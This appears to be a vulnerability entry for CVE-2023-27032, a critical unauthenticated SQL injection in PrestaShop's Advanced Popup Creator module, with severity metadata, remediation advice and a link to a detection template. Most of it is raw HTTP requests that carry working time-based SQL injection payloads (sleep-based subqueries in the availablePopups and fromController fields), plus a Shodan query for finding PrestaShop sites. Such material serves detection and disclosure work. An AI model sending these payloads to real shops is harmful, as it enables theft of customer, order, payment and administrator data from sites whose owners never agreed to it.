| Title | PrestaShop AdvancedPopupCreator - SQL Injection |
|---|---|
| Author | MaStErChO |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute arbitrary SQL commands to extract database contents including customer data, orders, payment information, and administrative credentials from the PrestaShop database. |
| Remediation | Upgrade to the latest version of the Advanced Popup Creator module from Idnovate that addresses this SQL injection vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.4769 |
| CVE ID | CVE-2023-27032 |
| CWE ID | CWE-89 |
| Shodan Query | http.component:"prestashop" |
| Tags | time-based-sqli cve cve2023 sqli prestashop advancedpopupcreator idnovate vuln |
In the module “Advanced Popup Creator” (advancedpopupcreator) from Idnovate for PrestaShop, a guest can perform SQL injection in affected versions.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/91.0
Connection: close
Accept-Encoding: gzip
POST /module/advancedpopupcreator/popup HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 207
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
availablePopups=if(now()=sysdate()%2Csleep(6)%2C0)&event=1&fromController=product&getPopup=1&id_category=0&id_manufacturer=0&id_product=1&id_supplier=0&referrer=&responsiveWidth=1280&time=juZ65c&token=9dedqz
POST /module/advancedpopupcreator/popup HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.1
Connection: close
Content-Length: 321
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
fromController=(select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'"%2B(select(0)from(select(sleep(6)))v)%2B"*/&id_category=0&id_cms=1&id_manufacturer=0&id_product=0&id_supplier=0&referrer=1&responsiveWidth=1280&time=juZ65c&token=9dedqz&updateVisits=1&url=https%253A%252F%252Fwww.victim.com%252F
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-27032.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-27032.pcap
N/AN/A